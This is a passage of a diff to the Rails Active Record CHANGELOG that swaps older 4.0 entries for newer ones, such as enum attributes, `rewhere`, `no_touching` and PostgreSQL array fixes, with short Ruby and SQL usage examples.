+         conversation.gender = nil
+         conversation.gender.nil? # => true
+         conversation.gender      # => nil
 
-*   The auto explain feature has been removed. This feature was
-    activated by configuring `config.active_record.auto_explain_threshold_in_seconds`.
-    The configuration option was deprecated and has no more effect.
+     *Amr Tamimi*
 
-    You can still use `ActiveRecord::Relation#explain` to see the EXPLAIN output for
-    any given relation.
+*   Connection specification now accepts a "url" key. The value of this
+    key is expected to contain a database URL. The database URL will be
+    expanded into a hash and merged.
 
-    *Yves Senn*
+    *Richard Schneeman*
 
-*   The `:on` option for `after_commit` and `after_rollback` now
-    accepts an Array of actions.
-    Fixes #988.
+*   An `ArgumentError` is now raised on a call to `Relation#where.not(nil)`.
 
     Example:
 
-        after_commit :update_cache on: [:create, :update]
+        User.where.not(nil)
 
-    *Yves Senn*
+        # Before
+        # => 'SELECT `users`.* FROM `users`  WHERE (NOT (NULL))'
 
-*   Rename related indexes on `rename_table` and `rename_column`. This
-    does not affect indexes with custom names.
+        # After
+        # => ArgumentError, 'Invalid argument for .where.not(), got nil.'
 
-    *Yves Senn*
+    *Kuldeep Aggarwal*
 
-*   Prevent the creation of indices with too long names, which cause
-    internal operations to fail (sqlite3 adapter only). The method
-    `allowed_index_name_length` defines the length limit enforced by
-    rails. It's value defaults to `index_name_length` but can vary per adapter.
-    Fixes #8264.
+*   Deprecated use of string argument as a configuration lookup in
+    `ActiveRecord::Base.establish_connection`. Instead, a symbol must be given.
 
-    *Yves Senn*
+    *José Valim*
 
-*   Fixing issue #776.
+*   Fixed `update_column`, `update_columns`, and `update_all` to correctly serialize
+    values for `array`, `hstore` and `json` column types in PostgreSQL.
 
-    Memory bloat in transactions is handled by having the transaction hold only
-    the AR objects which it absolutely needs to know about. These are the AR
-    objects with callbacks (they need to be updated as soon as something in the
-    transaction occurs).
+    Fixes #12261.
 
-    All other AR objects can be updated lazily by keeping a reference to a
-    TransactionState object. If an AR object gets inside a transaction, then
-    the transaction will add its TransactionState to the AR object. When the
-    user makes a call to some attribute on an AR object (which has no
-    callbacks) associated with a transaction, the AR object will call the
-    sync_with_transaction_state method and make sure it is up to date with the
-    transaction. After it has synced with the transaction state, the AR object
-    will return the attribute that was requested.
+    *Tadas Tamosauskas*, *Carlos Antonio da Silva*
 
-    Most of the logic in the changes are used to handle multiple transactions,
-    in which case the AR object has to recursively follow parent pointers of
-    TransactionState objects.
+*   Do not consider PostgreSQL array columns as number or text columns.
 
-    *John Wang*
+    The code uses these checks in several places to know what to do with a
+    particular column, for instance AR attribute query methods has a branch
+    like this:
 
-*   Descriptive error message when the necessary AR adapter gem was not found.
-    Fixes #7313.
+        if column.number?
+          !value.zero?
+        end
 
-    *Yves Senn*
+    This should never be true for array columns, since it would be the same
+    as running [].zero?, which results in a NoMethodError exception.
 
-*   Active Record now raises an error when blank arguments are passed to query
-    methods for which blank arguments do not make sense.
+    Fixing this by ensuring that array columns in PostgreSQL never return
+    true for number?/text? checks.
 
-    Example:
+    *Carlos Antonio da Silva*
 
-        Post.includes()     # => raises error
+*   When connecting to a non-existant database, the error:
+    `ActiveRecord::NoDatabaseError` will now be raised. When being used with Rails
+    the error message will include information on how to create a database:
+    `rake db:create`. Supported adapters: postgresql, mysql, mysql2, sqlite3
 
-    *John Wang*
+    *Richard Schneeman*
 
-*   Simplified type casting code for timezone aware attributes to use the
-    `in_time_zone` method if it is available. This introduces a subtle change
-    of behavior when using `Date` instances as they are directly converted to
-    `ActiveSupport::TimeWithZone` instances without first being converted to
-    `Time` instances. For example:
+*   Do not raise `'cannot touch on a new record object'` exception on destroying
+    already destroyed `belongs_to` association with `touch: true` option.
 
-        # Rails 3.2 behavior
-        >> Date.today.to_time.in_time_zone
-        => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+    Fixes #13445.
 
-        # Rails 4.0 behavior
-        >> Date.today.in_time_zone
-        => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+    Example:
 
-    On the plus side it now behaves the same whether you pass a `String` date
-    or an actual `Date` instance. For example:
+        # Given Comment has belongs_to :post, touch: true
+        comment.post.destroy
+        comment.destroy # no longer raises an error
 
-        # Rails 3.2 behavior
-        >> Date.civil(2013, 2, 13).to_time.in_time_zone
-        => Wed, 13 Feb 2013 07:00:00 UTC +00:00
-        >> Time.zone.parse("2013-02-13")
-        => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+    *Paul Nikitochkin*
 
-        # Rails 4.0 behavior
-        >> Date.civil(2013, 2, 13).in_time_zone
-        => Wed, 13 Feb 2013 00:00:00 UTC +00:00
-        >> "2013-02-13".in_time_zone
-        => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+*   Fix a bug when assigning an array containing string numbers to a
+    PostgreSQL integer array column.
 
-    If you need the old behavior you can convert the dates to times manually.
-    For example:
+    Fixes #13444.
 
-        >> Post.new(created_at: Date.today).created_at
-        => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+    Example:
 
-        >> Post.new(created_at: Date.today.to_time).created_at
-        => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+        # Given Book#ratings is of type :integer, array: true
+        Book.new(ratings: [1, 2]) # worked before
+        Book.new(ratings: ['1', '2']) # now works as well
 
-    *Andrew White*
+    *Damien Mathieu*
 
-*   Preloading `has_many :through` associations with conditions won't
-    cache the `:through` association. This will prevent invalid
-    subsets to be cached.
-    Fixes #8423.
+*   Fix `PostgreSQL` insert to properly extract table name from multiline string SQL.
 
-    Example:
+    Previously, executing an insert SQL in `PostgreSQL` with a command like this:
 
-        class User
-          has_many :posts
-          has_many :recent_comments, -> { where('created_at > ?', 1.week.ago) }, :through => :posts
-        end
+        insert into articles(
+          number)
+        values(
+          5152
+        )
 
-        a_user = User.includes(:recent_comments).first
+    would not work because the adapter was unable to extract the correct `articles`
+    table name.
 
-        # This is preloaded.
-        a_user.recent_comments
+    *Kuldeep Aggarwal*
 
-        # This is not preloaded, fetched now.
-        a_user.posts
+*   Correctly escape PostgreSQL arrays.
 
-    *Yves Senn*
+    Fixes: CVE-2014-0080
 
-*   Don't run `after_commit` callbacks when creating through an association
-    if saving the record fails.
+*   `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+    to an `Array` by calling `#to_a` before using these methods.
 
-    *James Miller*
+    It intends to prevent odd bugs and confusion in code that call mutator
+    methods directly on the `Relation`.
 
-*   Allow store accessors to be overridden like other attribute methods, e.g.:
+    Example:
 
-        class User < ActiveRecord::Base
-          store :settings, accessors: [ :color, :homepage ], coder: JSON
+        # Instead of this
+        Author.where(name: 'Hank Moody').compact!
 
-          def color
-            super || 'red'
-          end
-        end
+        # Now you have to do this
+        authors = Author.where(name: 'Hank Moody').to_a
+        authors.compact!
 
-    *Sergey Nartimov*
+    *Lauro Caetano*
 
-*   Quote numeric values being compared to non-numeric columns. Otherwise,
-    in some database, the string column values will be coerced to a numeric
-    allowing 0, 0.0 or false to match any string starting with a non-digit.
+*   Better support for `where()` conditions that use a `belongs_to`
+    association name.
 
-    Example:
+    Using the name of an association in `where` previously worked only
+    if the value was a single `ActiveRecord::Base` object. e.g.
 
-        App.where(apikey: 0) # => SELECT * FROM users WHERE apikey = '0'
+        Post.where(author: Author.first)
 
-    *Dylan Smith*
+    Any other values, including `nil`, would cause invalid SQL to be
+    generated. This change supports arguments in the `where` query
+    conditions where the key is a `belongs_to` association name and the
+    value is `nil`, an `Array` of `ActiveRecord::Base` objects, or an
+    `ActiveRecord::Relation` object.
 
-*   Schema dumper supports dumping the enabled database extensions to `schema.rb`
-    (currently only supported by PostgreSQL).
+        class Post < ActiveRecord::Base
+          belongs_to :author
+        end
 
-    *Justin George*
+    `nil` value finds records where the association is not set:
 
-*   The database adapters now converts the options passed thought `DATABASE_URL`
-    environment variable to the proper Ruby types before using. For example, SQLite requires
-    that the timeout value is an integer, and PostgreSQL requires that the
-    prepared_statements option is a boolean. These now work as expected:
+        Post.where(author: nil)
+        # SELECT "posts".* FROM "posts" WHERE "posts"."author_id" IS NULL
 
-    Example:
+    `Array` values find records where the association foreign key
+    matches the ids of the passed ActiveRecord models, resulting
+    in the same query as `Post.where(author_id: [1,2])`:
 
-        DATABASE_URL=sqlite3://localhost/test_db?timeout=500
-        DATABASE_URL=postgresql://localhost/test_db?prepared_statements=false
+        authors_array = [Author.find(1), Author.find(2)]
+        Post.where(author: authors_array)
+        # SELECT "posts".* FROM "posts" WHERE "posts"."author_id" IN (1, 2)
 
-    *Aaron Stone + Rafael Mendonça França*
+    `ActiveRecord::Relation` values find records using the same
+    query as `Post.where(author_id: Author.where(last_name: "Emde"))`
 
-*   `Relation#merge` now only overwrites where values on the LHS of the
-    merge. Consider:
+        Post.where(author: Author.where(last_name: "Emde"))
+        # SELECT "posts".* FROM "posts"
+        # WHERE "posts"."author_id" IN (
+        #   SELECT "authors"."id" FROM "authors"
+        #   WHERE "authors"."last_name" = 'Emde')
 
-        left  = Person.where(age: [13, 14, 15])
-        right = Person.where(age: [13, 14]).where(age: [14, 15])
+    Polymorphic `belongs_to` associations will continue to be handled
+    appropriately, with the polymorphic `association_type` field added
+    to the query to match the base class of the value. This feature
+    previously only worked when the value was a single `ActveRecord::Base`.
 
-    `left` results in the following SQL:
+        class Post < ActiveRecord::Base
+          belongs_to :author, polymorphic: true
+        end
 
-        WHERE age IN (13, 14, 15)
+        Post.where(author: Author.where(last_name: "Emde"))
+        # Generates a query similar to:
+        Post.where(author_id: Author.where(last_name: "Emde"), author_type: "Author")
 
-    `right` results in the following SQL:
+    *Martin Emde*
 
-        WHERE age IN (13, 14) AND age IN (14, 15)
+*   Respect temporary option when dropping tables with MySQL.
 
-    Previously, `left.merge(right)` would result in all but the last
-    condition being removed:
+    Normal DROP TABLE also works, but commits the transaction.
 
-        WHERE age IN (14, 15)
+        drop_table :temporary_table, temporary: true
 
-    Now it results in the LHS condition(s) for `age` being removed, but
-    the RHS remains as it is:
+    *Cody Cutrer*
 
-        WHERE age IN (13, 14) AND age IN (14, 15)
+*   Add option to create tables from a query.
 
-    *Jon Leighton*
+        create_table(:long_query, temporary: true,
+          as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
 
-*   Fix handling of dirty time zone aware attributes
+    Generates:
 
-    Previously, when `time_zone_aware_attributes` were enabled, after
-    changing a datetime or timestamp attribute and then changing it back
-    to the original value, `changed_attributes` still tracked the
-    attribute as changed. This caused `[attribute]_changed?` and
-    `changed?` methods to return true incorrectly.
+        CREATE TEMPORARY TABLE long_query AS
+          SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
 
-    Example:
+    *Cody Cutrer*
 
-        in_time_zone 'Paris' do
-          order = Order.new
-          original_time = Time.local(2012, 10, 10)
-          order.shipped_at = original_time
-          order.save
-          order.changed? # => false
+*   `db:test:clone` and `db:test:prepare` must load Rails environment.
 
-          # changing value
-          order.shipped_at = Time.local(2013, 1, 1)
-          order.changed? # => true
+    `db:test:clone` and `db:test:prepare` use `ActiveRecord::Base`. configurations,
+    so we need to load the Rails environment, otherwise the config wont be in place.
 
-          # reverting to original value
-          order.shipped_at = original_time
-          order.changed? # => false, used to return true
-        end
+    *arthurnn*
 
-    *Lilibeth De La Cruz*
+*   Use the right column to type cast grouped calculations with custom expressions.
 
-*   When `#count` is used in conjunction with `#uniq` we perform `count(:distinct => true)`.
-    Fixes #6865.
+    Fixes #13230.
 
     Example:
 
-        relation.uniq.count # => SELECT COUNT(DISTINCT *)
+        # Before
+        Account.group(:firm_name).sum('0.01 * credit_limit')
+        # => { '37signals' => '0.5' }
 
-    *Yves Senn + Kaspar Schiess*
+        # After
+        Account.group(:firm_name).sum('0.01 * credit_limit')
+        # => { '37signals' => 0.5 }
 
-*   PostgreSQL ranges type support. Includes: int4range, int8range,
-    numrange, tsrange, tstzrange, daterange
+    *Paul Nikitochkin*
 
-    Ranges can be created with inclusive and exclusive bounds.
+*   Polymorphic `belongs_to` associations with the `touch: true` option set update the timestamps of
+    the old and new owner correctly when moved between owners of different types.
 
     Example:
 
-        create_table :Room do |t|
-          t.daterange :availability
+        class Rating < ActiveRecord::Base
+          belongs_to :rateable, polymorphic: true, touch: true
         end
 
-        Room.create(availability: (Date.today..Float::INFINITY))
-        Room.first.availability # => Wed, 19 Sep 2012..Infinity
+        rating = Rating.create rateable: Song.find(1)
+        rating.update_attributes rateable: Book.find(2) # => timestamps of Song(1) and Book(2) are updated
 
-    One thing to note: Range class does not support exclusive lower
-    bound.
+    *Severin Schoepke*
 
-    *Alexander Grebennik*
+*   Improve formatting of migration exception messages: make them easier to read
+    with line breaks before/after, and improve the error for pending migrations.
 
-*   Added a state instance variable to each transaction. Will allow other objects
-    to know whether a transaction has been committed or rolled back.
+    *John Bachir*
 
-    *John Wang*
-
-*   Collection associations `#empty?` always respects built records.
-    Fixes #8879.
+*   Fix `last` with `offset` to return the proper record instead of always the last one.
 
     Example:
 
-        widget = Widget.new
-        widget.things.build
-        widget.things.empty? # => false
+        Model.offset(4).last
+        # => returns the 4th record from the end.
 
-    *Yves Senn*
+    Fixes #7441.
 
-*   Support for PostgreSQL's `ltree` data type.
+    *kostya*, *Lauro Caetano*
 
-    *Rob Worley*
+*   `type_to_sql` returns a `String` for unmapped columns. This fixes an error
+    when using unmapped PostgreSQL array types.
 
-*   Fix undefined method `to_i` when calling `new` on a scope that uses an
-    Array; Fix FloatDomainError when setting integer column to NaN.
-    Fixes #8718, #8734, #8757.
+    Example:
 
-    *Jason Stirk + Tristan Harward*
+        change_colum :table, :column, :bigint, array: true
 
-*   Rename `update_attributes` to `update`, keep `update_attributes` as an alias for `update` method.
-    This is a soft-deprecation for `update_attributes`, although it will still work without any
-    deprecation message in 4.0 is recommended to start using `update` since `update_attributes` will be
-    deprecated and removed in future versions of Rails.
+    Fixes #13146.
 
-    *Amparo Luna + Guillermo Iguaran*
+    *Jens Fahnenbruck*, *Yves Senn*
 
-*   `after_commit` and `after_rollback` now validate the `:on` option and raise an `ArgumentError`
-    if it is not one of `:create`, `:destroy` or `:update`
+*   Fix `QueryCache` to work with nested blocks, so that it will only clear the existing cache
+    after leaving the outer block instead of clearing it right after the inner block is finished.
 
-    *Pascal Friederich*
+    *Vipul A M*
 
-*   Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+*   The ERB in fixture files is no longer evaluated in the context of the main
+    object. Helper methods used by multiple fixtures should be defined on the
+    class object returned by `ActiveRecord::FixtureSet.context_class`.
 
-    * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
-      The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not reversible).
-      The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+    *Victor Costan*
 
-    * New method `reversible` makes it possible to specify code to be run when migrating up or down.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+*   Previously, the `has_one` macro incorrectly accepted the `counter_cache`
+    option, but never actually supported it. Now it will raise an `ArgumentError`
+    when using `has_one` with `counter_cache`.
 
-    * New method `revert` will revert a whole migration or the given block.
-      If migrating down, the given migration / block is run normally.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+    *Godfrey Chan*
 
-    Attempting to revert the methods `execute`, `remove_columns` and `change_column` will now
-    raise an `IrreversibleMigration` instead of actually executing them without any output.
+*   Implement `rename_index` natively for MySQL >= 5.7.
 
-    *Marc-André Lafortune*
+    *Cody Cutrer*
 
-*   Serialized attributes can be serialized in integer columns.
-    Fixes #8575.
+*   Fix bug when validating the uniqueness of an aliased attribute.
 
-    *Rafael Mendonça França*
+    Fixes #12402.
 
-*   Keep index names when using `alter_table` with sqlite3.
-    Fixes #3489.
+    *Lauro Caetano*
 
-    *Yves Senn*
+*   Update counter cache on a `has_many` relationship regardless of default scope.
 
-*   Add ability for PostgreSQL adapter to disable user triggers in `disable_referential_integrity`.
-    Fixes #5523.
+    Fixes #12952.
 
-    *Gary S. Weaver*
+    *Uku Taht*
 
-*   Added support for `validates_uniqueness_of` in PostgreSQL array columns.
-    Fixes #8075.
+*   `rename_index` adds the new index before removing the old one. This allows to
+    rename indexes on columns with a foreign key and prevents the following error:
 
-    *Pedro Padron*
+        Cannot drop index 'index_engines_on_car_id': needed in a foreign key constraint
 
-*   Allow int4range and int8range columns to be created in PostgreSQL and properly convert to/from database.
+    *Cody Cutrer*, *Yves Senn*
 
-    *Alexey Vasiliev aka leopard*
+*   Raise `ActiveRecord::RecordNotDestroyed` when a replaced child
+    marked with `dependent: destroy` fails to be destroyed.
 
-*   Do not log the binding values for binary columns.
+    Fixes #12812.
 
-    *Matthew M. Boedicker*
+    *Brian Thomas Storti*
 
-*   Fix counter cache columns not updated when replacing `has_many :through`
-    associations.
+*   Fix validation on uniqueness of empty association.
 
-    *Matthew Robertson*
+    *Evgeny Li*
 
-*   Recognize migrations placed in directories containing numbers and 'rb'.
-    Fixes #8492.
+*   Make `ActiveRecord::Relation#unscope` affect relations it is merged in to.
+
+    *Jon Leighton*
+
+*   Use strings to represent non-string `order_values`.
 
     *Yves Senn*
 
-*   Add `ActiveRecord::Base.cache_timestamp_format` class attribute to control
-    the format of the timestamp value in the cache key. Defaults to `:nsec`.
-    Fixes #8195.
+*   Checks to see if the record contains the foreign key to set the inverse automatically.
 
-    *Rafael Mendonça França*
+    *Edo Balvers*
 
-*   Session variables can be set for the `mysql`, `mysql2`, and `postgresql` adapters
-    in the `variables: <hash>` parameter in `config/database.yml`. The key-value pairs of this
-    hash will be sent in a `SET key = value` query on new database connections. See also:
-    http://dev.mysql.com/doc/refman/5.0/en/set-statement.html
-    http://www.postgresql.org/docs/8.3/static/sql-set.html
+*   Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from a model's attribute or method.
 
-    *Aaron Stone*
+    Example:
+
+        class User < ActiveRecord::Base
+          to_param :name
+        end
 
-*   Allow setting of all libpq connection parameters through the PostgreSQL adapter. See also:
-    http://www.postgresql.org/docs/9.2/static/libpq-connect.html#LIBPQ-PARAMKEYWORDS
+        user = User.find_by(name: 'Fancy Pants')
+        user.id       # => 123
+        user.to_param # => "123-fancy-pants"
 
-    *Lars Kanis*
+    *Javan Makhmali*
 
-*   Allow `Relation#where` with no arguments to be chained with new `not` query method.
+*   Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on models.
 
     Example:
 
-        Developer.where.not(name: 'Aaron')
+        Post.no_touching do
+          Post.first.touch
+        end
 
-    *Akira Matsuda*
+    *Sam Stephenson*, *Damien Mathieu*
 
-*   Unscope `update_column(s)` query to ignore default scope.
+*   Prevent the counter cache from being decremented twice when destroying
+    a record on a `has_many :through` association.
 
-    When applying `default_scope` to a class with a where clause, using
-    `update_column(s)` could generate a query that would not properly update
-    the record due to the where clause from the `default_scope` being applied
-    to the update query.
+    Fixes #11079.
 
-        class User < ActiveRecord::Base
-          default_scope -> { where(active: true) }
-        end
+    *Dmitry Dedov*
 
-        user = User.first
-        user.active = false
-        user.save!
+*   Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+    `type_cast` will return `1` for `true` and `0` for `false`.
 
-        user.update_column(:active, true) # => false
+    Fixes #11119.
 
-    In this situation we want to skip the default_scope clause and just
-    update the record based on the primary key. With this change:
+    *Adam Williams*, *Yves Senn*
 
-        user.update_column(:active, true) # => true
+*   Fix bug where `has_one` association record update result in crash, when replaced with itself.
 
-    Fixes #8436.
+    Fixes #12834.
 
-    *Carlos Antonio da Silva*
+    *Denis Redozubov*, *Sergio Cambra*
 
-*   SQLite adapter no longer corrupts binary data if the data contains `%00`.
+*   Log bind variables after they are type casted. This makes it more
+    transparent what values are actually sent to the database.
 
-    *Chris Feist*
+        irb(main):002:0> Event.find("im-no-integer")
+        # Before: ... WHERE "events"."id" = $1 LIMIT 1  [["id", "im-no-integer"]]
+        # After: ... WHERE "events"."id" = $1 LIMIT 1  [["id", 0]]
 
-*   Fix performance problem with `primary_key` method in PostgreSQL adapter when having many schemas.
-    Uses `pg_constraint` table instead of `pg_depend` table which has many records in general.
-    Fixes #8414.
+    *Yves Senn*
 
-    *kennyj*
+*   Fix uninitialized constant `TransactionState` error when `Marshall.load` is used on an Active Record result.
 
-*   Do not instantiate intermediate Active Record objects when eager loading.
-    These records caused `after_find` to run more than expected.
-    Fixes #3313.
+    Fixes #12790.
 
-    *Yves Senn*
+    *Jason Ayre*
 
-*   Add STI support to init and building associations.
-    Allows you to do `BaseClass.new(type: "SubClass")` as well as
-    `parent.children.build(type: "SubClass")` or `parent.build_child`
-    to initialize an STI subclass. Ensures that the class name is a
-    valid class and that it is in the ancestors of the super class
-    that the association is expecting.
+*   `.unscope` now removes conditions specified in `default_scope`.
 
-    *Jason Rush*
+    *Jon Leighton*
 
-*   Observers was extracted from Active Record as `rails-observers` gem.
+*   Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, named where condition.
 
-    *Rafael Mendonça França*
+    Examples:
 
-*   Ensure that associations take a symbol argument. *Steve Klabnik*
+        Post.where(trashed: true).where(trashed: false)                       #=> WHERE `trashed` = 1 AND `trashed` = 0
+        Post.where(trashed: true).rewhere(trashed: false)                     #=> WHERE `trashed` = 0
+        Post.where(active: true).where(trashed: true).rewhere(trashed: false) #=> WHERE `active` = 1 AND `trashed` = 0
 
-*   Fix dirty attribute checks for `TimeZoneConversion` with nil and blank
-    datetime attributes. Setting a nil datetime to a blank string should not
-    result in a change being flagged.
-    Fixes #8310.
+    *DHH*
 
-    *Alisdair McDiarmid*
+*   Extend `ActiveRecord::Base#cache_key` to take an optional list of timestamp attributes of which the highest will be used.
 
-*   Prevent mass assignment to the type column of polymorphic associations when using `build`
-    Fixes #8265.
+    Example:
 
-    *Yves Senn*
+        # last_reviewed_at will be used, if that's more recent than updated_at, or vice versa
+        Person.find(5).cache_key(:updated_at, :last_reviewed_at)
 
-*   Deprecate calling `Relation#sum` with a block. To perform a calculation over
-    the array result of the relation, use `to_a.sum(&block)`.
+    *DHH*
 
-    *Carlos Antonio da Silva*
+*   Added `ActiveRecord::Base#enum` for declaring enum attributes where the values map to integers in the database, but can be queried by name.
 
-*   Fix PostgreSQL adapter to handle BC timestamps correctly
+    Example:
 
-        HistoryEvent.create!(name: "something", occured_at: Date.new(0) - 5.years)
+        class Conversation < ActiveRecord::Base
+          enum status: [:active, :archived]
+        end
 
-    *Bogdan Gusiev*
+        Conversation::STATUS # => { active: 0, archived: 1 }
 
-*   When running migrations on PostgreSQL, the `:limit` option for `binary` and `text` columns is silently dropped.
-    Previously, these migrations caused sql exceptions, because PostgreSQL doesn't support limits on these types.
+        # conversation.update! status: 0
+        conversation.active!
+        conversation.active? # => true
+        conversation.status  # => "active"
 
-    *Victor Costan*
+        # conversation.update! status: 1
+        conversation.archived!
+        conversation.archived? # => true
+        conversation.status    # => "archived"
 
-*   Don't change STI type when calling `ActiveRecord::Base#becomes`.
-    Add `ActiveRecord::Base#becomes!` with the previous behavior.
+        # conversation.update! status: 1
+        conversation.status = :archived
 
-    See #3023 for more information.
+    *DHH*
 
-    *Thomas Hollstegge*
+*   `ActiveRecord::Base#attribute_for_inspect` now truncates long arrays (more than 10 elements).
 
-*   `rename_index` can be used inside a `change_table` block.
+    *Jan Bernacki*
 
-        change_table :accounts do |t|
-          t.rename_index :user_id, :account_id
-        end
+*   Allow for the name of the `schema_migrations` table to be configured.
 
-    *Jarek Radosz*
+    *Jerad Phelps*
 
-*   `#pluck` can be used on a relation with `select` clause. Fix #7551
+*   Do not add to scope includes values from through associations.
+    Fixed bug when providing `includes` in through association scope, and fetching targets.
 
     Example:
 
-        Topic.select([:approved, :id]).order(:id).pluck(:id)
+        class Vendor < ActiveRecord::Base
+          has_many :relationships, -> { includes(:user) }
+          has_many :users, through: :relationships
+        end
 
-    *Yves Senn*
+        vendor = Vendor.first
 
-*   Do not create useless database transaction when building `has_one` association.
+        # Before
 
-    Example:
+        vendor.users.to_a # => Raises exception: not found `:user` for `User`
 
-        User.has_one :profile
-        User.new.build_profile
+        # After
 
-    *Bogdan Gusiev*
+        vendor.users.to_a # => No exception is raised
 
-*   `:counter_cache` option for `has_many` associations to support custom named counter caches.
-    Fixes #7993.
+    Fixes #12242, #9517, #10240.
 
-    *Yves Senn*
+    *Paul Nikitochkin*
 
-*   Deprecate the possibility to pass a string as third argument of `add_index`.
-    Pass `unique: true` instead.
+*   Type cast json values on write, so that the value is consistent
+    with reading from the database.
 
-        add_index(:users, :organization_id, unique: true)
+    Example:
 
-    *Rafael Mendonça França*
+        x = JsonDataType.new tags: {"string" => "foo", :symbol => :bar}
 
-*   Raise an `ArgumentError` when passing an invalid option to `add_index`.
+        # Before:
+        x.tags # => {"string" => "foo", :symbol => :bar}
 
-    *Rafael Mendonça França*
+        # After:
+        x.tags # => {"string" => "foo", "symbol" => "bar"}
 
-*   Fix `find_in_batches` crashing when IDs are strings and start option is not specified.
+    *Severin Schoepke*
 
-    *Alexis Bernard*
+*   `ActiveRecord::Store` works together with PostgreSQL `hstore` columns.
 
-*   `AR::Base#attributes_before_type_cast` now returns unserialized values for serialized attributes.
+    Fixes #12452.
 
-    *Nikita Afanasenko*
+    *Yves Senn*
 
-*   Use query cache/uncache when using `DATABASE_URL`.
-    Fixes #6951.
+*   Fix bug where `ActiveRecord::Store` used a global `Hash` to keep track of
+    all registered `stored_attributes`. Now every subclass of
+    `ActiveRecord::Base` has it's own `Hash`.
 
-    *kennyj*
+    *Yves Senn*
 
-*   Fix bug where `update_columns` and `update_column` would not let you update the primary key column.
+*   Save `has_one` association when primary key is manually set.
 
-    *Henrik Nyh*
+    Fixes #12302.
 
-*   The `create_table` method raises an `ArgumentError` when the primary key column is redefined.
-    Fixes #6378.
+    *Lauro Caetano*
 
-    *Yves Senn*
+*    Allow any version of BCrypt when using `has_secure_password`.
 
-*   `ActiveRecord::AttributeMethods#[]` raises `ActiveModel::MissingAttributeError`
-    error if the given attribute is missing. Fixes #5433.
+     *Mike Perham*
 
-        class Person < ActiveRecord::Base
-          belongs_to :company
-        end
+*    Sub-query generated for `Relation` passed as array condition did not take in account
+     bind values and have invalid syntax.
 
-        # Before:
-        person = Person.select('id').first
-        person[:name]       # => nil
-        person.name         # => ActiveModel::MissingAttributeError: missing_attribute: name
-        person[:company_id] # => nil
-        person.company      # => nil
+     Generate sub-query with inline bind values.
 
-        # After:
-        person = Person.select('id').first
-        person[:name]       # => ActiveModel::MissingAttributeError: missing_attribute: name
-        person.name         # => ActiveModel::MissingAttributeError: missing_attribute: name
-        person[:company_id] # => ActiveModel::MissingAttributeError: missing_attribute: company_id
-        person.company      # => ActiveModel::MissingAttributeError: missing_attribute: company_id
+     Fixes #12586.
 
-    *Francesco Rodriguez*
+     *Paul Nikitochkin*
 
-*   Small binary fields use the `VARBINARY` MySQL type, instead of `TINYBLOB`.
+*   Fix a bug where rake db:structure:load crashed when the path contained
+    spaces.
 
-    *Victor Costan*
+    *Kevin Mook*
 
-*   Decode URI encoded attributes on database connection URLs.
+*   `ActiveRecord::QueryMethods#unscope` unscopes negative equality
 
-    *Shawn Veader*
+    Allows you to call `#unscope` on a relation with negative equality
+    operators, i.e. `Arel::Nodes::NotIn` and `Arel::Nodes::NotEqual` that have
+    been generated through the use of `where.not`.
 
-*   Add `find_or_create_by`, `find_or_create_by!` and
-    `find_or_initialize_by` methods to `Relation`.
+    *Eric Hankins*
 
-    These are similar to the `first_or_create` family of methods, but
-    the behaviour when a record is created is slightly different:
+*   Raise an exception when model without primary key calls `.find_with_ids`.
 
-        User.where(first_name: 'Penélope').first_or_create
+    *Shimpei Makimoto*
 
-    will execute:
+*   Make `Relation#empty?` use `exists?` instead of `count`.
 
-        User.where(first_name: 'Penélope').create
+    *Szymon Nowak*
 
-    Causing all the `create` callbacks to execute within the context of
-    the scope. This could affect queries that occur within callbacks.
+*   `rake db:structure:dump` no longer crashes when the port was specified as `Fixnum`.
 
-        User.find_or_create_by(first_name: 'Penélope')
+    *Kenta Okamoto*
 
-    will execute:
+*   `NullRelation#pluck` takes a list of columns
 
-        User.create(first_name: 'Penélope')
+    The method signature in `NullRelation` was updated to mimic that in
+    `Calculations`.
 
-    Which obviously does not affect the scoping of queries within
-    callbacks.
+    *Derek Prior*
 
-    The `find_or_create_by` version also reads better, frankly.
+*   `scope_chain` should not be mutated for other reflections.
 
-    If you need to add extra attributes during create, you can do one of:
+    Currently `scope_chain` uses same array for building different
+    `scope_chain` for different associations. During processing
+    these arrays are sometimes mutated and because of in-place
+    mutation the changed `scope_chain` impacts other reflections.
 
-        User.create_with(active: true).find_or_create_by(first_name: 'Jon')
-        User.find_or_create_by(first_name: 'Jon') { |u| u.active = true }
+    Fix is to dup the value before adding to the `scope_chain`.
 
-    The `first_or_create` family of methods have been nodoc'ed in favour
-    of this API. They may be deprecated in the future but their
-    implementation is very small and it's probably not worth putting users
-    through lots of annoying deprecation warnings.
+    Fixes #3882.
 
-    *Jon Leighton*
+    *Neeraj Singh*
+
+*   Prevent the inversed association from being reloaded on save.
 
-*   Fix bug with presence validation of associations. Would incorrectly add duplicated errors
-    when the association was blank. Bug introduced in 1fab518c6a75dac5773654646eb724a59741bc13.
+    Fixes #9499.
+
+    *Dmitry Polushkin*
 
-    *Scott Willson*
+*   Generate subquery for `Relation` if it passed as array condition for `where`
+    method.
 
-*   Fix bug where sum(expression) returns string '0' for no matching records.
-    Fixes #7439
+    Example:
 
-    *Tim Macfarlane*
+        # Before
+        Blog.where('id in (?)', Blog.where(id: 1))
+        # =>  SELECT "blogs".* FROM "blogs"  WHERE "blogs"."id" = 1
+        # =>  SELECT "blogs".* FROM "blogs"  WHERE (id IN (1))
 
-*   PostgreSQL adapter correctly fetches default values when using multiple schemas and domains in a db. Fixes #7914
+        # After
